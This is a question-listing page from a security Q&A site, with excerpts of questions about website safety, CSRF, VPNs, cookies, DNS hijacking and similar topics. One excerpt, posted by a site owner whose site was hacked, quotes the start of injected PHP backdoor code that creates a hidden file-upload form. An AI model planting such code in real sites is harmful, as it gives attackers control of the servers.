Questions tagged [websites]

Applications or informational pages, distributed via HTTP or HTTPS, using a web server. Pages are typically interconnected by hyperlinks and may contain forms or even entire applications.

Filter by
Sorted by
Tagged with
0
votes
1answer
73 views

website legitimate or not, how to evaluate? [closed]

how to know which website is secure to open ? i.e. https://cdn.redhat.com/ why am I getting a security notification even when the site relates to Redhat ? Thanks
2
votes
1answer
140 views

Is it a good rule of thumb to keep a URL as short as possible?

I was wondering if there are any security risks of having too long URLs for an internet site. Of course there are things that don't matter if they're long or not, i.e. the actual hostname and ...
2
votes
2answers
193 views

No limit of characters in name field - Any risk?

I want to know what security vulnerabilities could have a website that in the name field there is no character limitation. so there could be 100 characters or 10k. My first idea is that it can could ...
1
vote
1answer
154 views

How to find a website behind a Firewall? [closed]

Some context for my question: I'm currently studying Information Security, and this is for an assignment from my teacher. For my assignment, I received two IP addresses. I did a port scan with nmap ...
1
vote
3answers
144 views

How can a scammer scan your data if you're redirected from their fake website to the legitimate website?

Coming from this comment from this question at Travel StackExchange. My question is: How can the scammer still scan a user's data when the user registers their account on the legitimate site, after ...
22
votes
2answers
5k views

If the Charles SSL Proxy shows me sensitive data, is that data insecure/exposed?

Today I was exploring a website used for keeping track of student grades and everything related to school. Basically like a school progress tracker for your child which is used by 90% of schools in my ...
1
vote
2answers
171 views

Is it possbile to conduct http header injection attack with a web site or web app uses https?

If a web site or web application is running with https, is it possible to conduct http header attacks like http header injections and so on?
5
votes
2answers
295 views

CSRF token unique per user session - Why?

OWASP recommends that a CSRF token should be unique per user session. What is the attack vector or reasoning behind that? How could an attacker exploit a web application that does not invalidate the ...
33
votes
4answers
9k views

What is more safe for browsing the web: PC or smartphone?

The scenario is: somebody without concern about security is navigating through the web. This person will access doubtful websites, like adult content or media sharing, for example. Between a pc with ...
1
vote
1answer
84 views

Will SIM‐like PIN on website as second password increase security

On SIM cards, which are used in mobile telephony, PIN (and PUK) is used. Unlike a password, they are locked after some incorrect attempts to prevent brute force attack. If wrong PIN is entered 3 times,...
1
vote
3answers
122 views

Security concerns around sharing secret on a website

I need to share credentials with users. These credentials are created when the user wants them, but cannot be chosen by the user specifically (AAD credentials). I want to share the same with the user ...
0
votes
1answer
68 views

Published URL File APP.CSS

I am crossing an analysis on a website and while fuzzing and testing I came across the below URL: https//www.****.**.*/content/css/app.css Which generated the below output: /* Minification failed. ...
3
votes
2answers
171 views

Can websites uniquely identify users by the sim card used to access the website?

If I was to use a phone's data connection to access a website, and then pop that sim card into another phone to access the same website, could the website tell that I am the same user?
1
vote
0answers
53 views

How to determine if a website has been hijacked?

I noticed that the URL of a website I sometimes visit was redirecting to a new URL. I noticed this through a tool that I use that does not actually load the new URL. I was surprised by this change, ...
0
votes
1answer
78 views

How to know you're secure?

How do you KNOW your website is secure? (Accounting only for your own mistakes; i.e. assuming the libraries you use are flawless.) For any given issue (e.g. XSS, MitM, etc.) there are lists of ...
1
vote
1answer
68 views

Account identified only by name, surname and date of birth

I am working in QA field and we have a project about a famous booking website. I have discovered that if I create an account with the same name, surname and date of birth of an already registered ...
-3
votes
2answers
127 views

website security of a domain

There is a website and I want to see if it is secure or not: When I enter the site with the domain address as https://2nate.com/ the browser says that it is secure. But when I enter the domain ...
0
votes
1answer
95 views

What security arrangements do I need to think about when passing a password through my site server

I want to automate some of my home admin. I'm writing a small-ish website, to do that. Written in C#/.NET, hosted on Azure, backed by an Azure SQL DB, codebase available publicly on GitHub. One of ...
1
vote
1answer
87 views

I want to create a website, what aspects of security should I really care of? [duplicate]

I'm going to create a website with Wordpress. I'm a junior software developer myself and I have experience working with servers and with the Magento Ecommerce software. But I'm not a systems ...
0
votes
1answer
36 views

Displaying username in profile section of a Web Application

Is it a good idea to display the username in the user profile section of a web application, when the user is already logged in? My web application uses basic authentication and does not have any 2 ...
64
votes
6answers
15k views

Employer makes me use what I believe to be an insecure website for HR functions. What to do?

At my job, to be able to view my paychecks, vacation hours and HR data on myself I need to log into a 3rd party website. I'm by no means a security expert or expert programmer but I could tell (...
0
votes
1answer
479 views

DNS Poisoning? Unable to access a specific website

Below are the DNS servers that I have been using for many years: 84.200.69.80 DNS Watch (Hostname: resolver1.ihgip.net ISP: Accelerated IT Services GmbH) 91.239.100.100 Uncensored DNS (IP: 130.225....
0
votes
2answers
108 views

How to monitor password protected web page

I want to use a website monitor to check that a web page is working but the web page requires that the user is authenticated. Is there a crafty way of achieving this that doesn't require storing an ...
85
votes
5answers
21k views

Can “Accept cookie” button in a website be malicious?

I don't remember when this "accept/cancel cookie" button started to be used in websites. Why do they insist on getting users to click on this button? Can it do any harm to user's PC or to collect ...
1
vote
2answers
152 views

Is it secure to interact with a web page before it has fully loaded?

Web pages are often displayed in the browser before they have finished fully loading (i.e. the loading indicator is still spinning, etc). Usually this is caused by a slow advert or a video, etc. But ...
0
votes
1answer
264 views

Can I assume that an empty user agent will always be a robot?

I want to prevent robots flooding my website and I'm thinking about a ban in these cases... Can I assume that an empty user agent will always be a robot?
0
votes
1answer
65 views

Getting confusion that this responce indicate CORS vulnerability

HTTP/1.1 200 OK Content-Type: application/json Content-Length: 12 Connection: close Date: Tue, 25 Sep 2018 12:59:56 GMT x-amzn-RequestId: xxxxxxxxxxx Access-Control-Allow-Origin: * Access-Control-...
-1
votes
1answer
33 views

Whois History resources authentic source

I have couple of doubts related to Whois records. For a particulate domain... How authentic are the Whois records? As per my research the records are not permissible in courts (or at least would ...
0
votes
2answers
99 views

What is the responsible thing to do when I care about a vulnerability more than the team behind the system? [duplicate]

I've encountered a security vulnerability in a website. The website is that of a leading brand in it's industry. There are user accounts etc. and this website is very popular. I've contact multiple ...
2
votes
1answer
104 views

List of common website endings/pages for enumeration? [closed]

I am currently building a Python-based OSINT tool that allows a user to crawl a supplied domain for pages using traditional scraping/spider methods, but I also want to have the option to 'brute force' ...
0
votes
1answer
318 views

Can I get malicious malware in my computer or any kinds of virus by registering through Google/Facebook to a specifc site?

Lately, there is a start up company in Israel called Initiative Q and currently it gives out coins (that are similar to bitcoin but they don't run on Blockchain technology) in order to advertise their ...
0
votes
0answers
110 views

Dirty ajax calls allows me to get free pizza [duplicate]

Recently my buddy at work wanted to order some food for lunch from a website that we usually order from. The site allows the visitor to become a member of the site by registering and then logging in. ...
1
vote
2answers
235 views

Should I continue using this (potentially dangerous) website?

As a part of my project I had to scrape some motivational pictures, so I considered using the gallery section of the website, "Quotes Cover" - "https://quotescover.com/category/quotes-gallery". ...
0
votes
1answer
320 views

My site was hacked and has injected code on index.php and 404.php [duplicate]

Here is the code injected to index.php if(@isset($_GET[bots])){ echo '<form action="" method="post" enctype="multipart/form-data" name="silence" id="silence">'; echo '<input type="...
0
votes
1answer
64 views

What are some well known websites that do not require multiple character sets in passwords?

NIST guidelines discourage password policies that require multiple character sets. Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types or ...
38
votes
5answers
9k views

What does a website see if I am connected on my native IP and then enable my VPN?

As per the question. If I am connected to a website, streaming content from my native IP and I then enable my VPN, what does the website see?
3
votes
1answer
168 views

Is it a good idea to test a live company website as part of an interview process?

I got an interview task, which is to pentest the careers section of a company's website. I'm keen to play around with any website, and permission was given but this feels like a free pentest. I ...
2
votes
1answer
106 views

To whom do I report this bizarre behavior (possibly hijacked website or DNS highjack)?

My coworker searched for "cutadapt" at Google Scholar and the top hit was http://journal.embnet.org/index.php/embnetjournal/article/view/200. When he clicked on it, it took him to a site that said ...
63
votes
11answers
22k views

Why don't websites and devices offer fake logins for hackers?

I was thinking about this earlier this morning and was wondering why websites and devices don't offer fake logins for hackers? What I mean by that is that if a hacker finds out some of your details ...
-6
votes
1answer
1k views

Protecting against input type =“password” changes? [closed]

Are there any protections against users using Chrome Developer Tools to right click on a password input field, and then change input type="pass" to "text" to reveal the password? There are probably ...
-2
votes
1answer
125 views

Why do websites like Truecaller make you prove that you are not a robot after a limited number of searches?

I used Truecaller for searching for a number but after around 20 to 25 searches they started asking me to prove that I am not a robot. Is this for protecting their website from a DDoS attacks or is it ...
-2
votes
1answer
1k views

Does a third level domain wildcard certificate prove a fourth level domain website? [duplicate]

Suppose I have a certificate for *.example.com and privileged access to all example.com websites. Sure I could install the wildcard certificate into https://api.example.com website so that it can ...
1
vote
1answer
194 views

Handling the loss of a phone with FIDO UAF

I would like to know how this UAF method works when we lose our phone. With Google Authenticator we have to save on a paper some info about the generation of the secret key. But how does this work ...
4
votes
1answer
2k views

Can websites track the tabs you open while logged into their website?

If I am on chrome and am looking up a product on Amazon on tab A, can they tell what I search if I open a tab B while tab A is still open? Should I use a new chrome or another browser window to ...
4
votes
2answers
445 views

How to store data on server without an ability to read it?

Let's say, we develop a social network website, which allows to send personal messages between users. We don't want anyone (even us) to read these messages, except for message sender and receiver. Is ...
3
votes
1answer
64 views

Is there anything that a regular user can do to help remove fake websites?

I'm talking about domains like msn.org and stackoveflow.com that impersonate major websites and serve up malicious ads such as the "critical alert from Microsoft" ad. I've tried reporting these ads ...
58
votes
7answers
14k views

Email received regarding Security flaw in website

I received an email to techsupport@websitename.com (pretty generic email) saying that there was a security flaw in my website etc. etc My initial reaction was that this was a scam. (How/why did they ...
-3
votes
1answer
122 views

Let's say I visit a website that installs malware on my computer, how bad can the malware be, and how can I know that it is there? [closed]

Ok, I'm a bit paranoid about malware and hacking, and I already know that visiting websites can give you malware without you knowing, so I was just wondering, how can I know if I have this type of ...
-2
votes
1answer
72 views

Trying to detect a firewall

I have some HTML that was detected by one of my scripts firewall detections, it looks like this: <!--- HTTP 1.1 Status Code: 403 HTTP Headers: {'Content-Length': '1233', 'X-Powered-By': 'ASP.NET', ...
1
vote
1answer
77 views

A website sends account credential field as “empty”

One of Finland's largest banks, S-Pankki, seems to use some uncommon method to send the username field. At least Firefox's password manager doesn't detect the entered username and I've also ...